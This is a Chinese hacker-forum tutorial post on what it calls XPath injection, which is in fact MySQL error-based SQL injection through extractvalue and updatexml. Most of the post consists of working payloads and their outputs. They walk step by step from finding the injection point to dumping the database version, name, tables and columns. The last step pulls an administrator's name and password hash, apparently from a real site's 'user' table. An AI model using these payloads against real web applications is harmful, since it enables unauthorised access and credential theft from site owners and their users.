XPath注入攻击

368 1
HK.JH 2022-2-11 23:31:42 来自手机 | 显示全部楼层 |阅读模式
XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。

XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

XPath注入
漏洞检测

首先我们可以通过测试“ - ”和“ ' ”字符来判断网站中是否存在XPath注入点,如下所示:

sitio/parametro.php?id=1  -->  sitio/parametro.php?id=-1
sitio/parametro.php?id=1  -->  sitio/parametro.php?id=1'


在参数值前添加“ - ”字符返回异常,表明该网站存在注入漏洞。接下来我们将重点关注extractvalue和updatexml,通过这两个函数完成报错注入。



ExtractValue函数接受两个字符串参数,一个XML标记片段xml_frag和一个XPath表达式 xpath_expr(也称为定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。



Updatexml函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr用户提供的XPath表达式匹配。如果xpath_expr未找到匹配的表达式 ,或者找到多个匹配项,则该函数返回原始xml_targetXML片段。所有三个参数都应该是字符串。



数据库版本
使用以下Paylaod获取数据库版本:

-49+and extractvalue(0x0a,concat(0x0a,(select version())))
-49+and updatexml(null,concat(0x0a,(select version())),null)


我们可以看到在PHP错误下出现的dXpath错误中了包含我们请求的信息,示例中返回的数据库版本为 XPATH syntax error: ' 5.7.34'

数据库名称

使用以下Paylaod获取数据库名称:

+and extractvalue(0x0a,concat(0x0a,(select database())))
+and updatexml(null,concat(0x0a,(select database())),null)

在错误中显示了数据库的名称XPATH syntax error: ' stepae_stepliv'



数据库表名

使用以下Paylaod获取数据库表名:

+and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
+and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)

请注意,Paylaod最后使用的是“limit 0,1”,这是因为xpath最多只允许显示1行。

“limit 0,1”,让我们可以获取更多的数据,如下所示:

and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null) --> XPATH syntax error: ' accesslevel'
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),null) --> XPATH syntax error: ' logintype'
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),null) --> XPATH syntax error: ' menu'
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) --> XPATH syntax error: ' menuaccess'
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 4,1)),null) --> XPATH syntax error: ' payments'


按个尝试后,最终我们找到了想要的“user”数据库表,如下所示:

and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 36,1)),null)
XPATH syntax error: ' user'


数据库列名

接下来使用以下Paylaod获取“user”数据库表所包含的字段:
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1)))
+and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1)),null)

我们将十六进制编码的表名称放在hex. example中,如下所示:
user = 0x75736572
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1)))

在“user”表中具有以下字段:
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) ---> XPATH syntax error: ' id'
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 1,1))) ---> XPATH syntax error: ' name'
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 2,1))) ---> XPATH syntax error: ' password'
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 3,1))) ---> XPATH syntax error: ' email'
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 4,1))) ---> XPATH syntax error: ' accesslevel'


字段已经出来了。接下来,我们使用以下Paylaod获取“user”表中password字段的内容:

and extractvalue(0x0a,concat(0x0a,(select concat(name,'::::',password) from user limit 0,1)))


返回的结果如下所示:
XPATH syntax error: ' Super Admin::::dc8ced213373d2d3'

XPath注入就到这里结束了
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行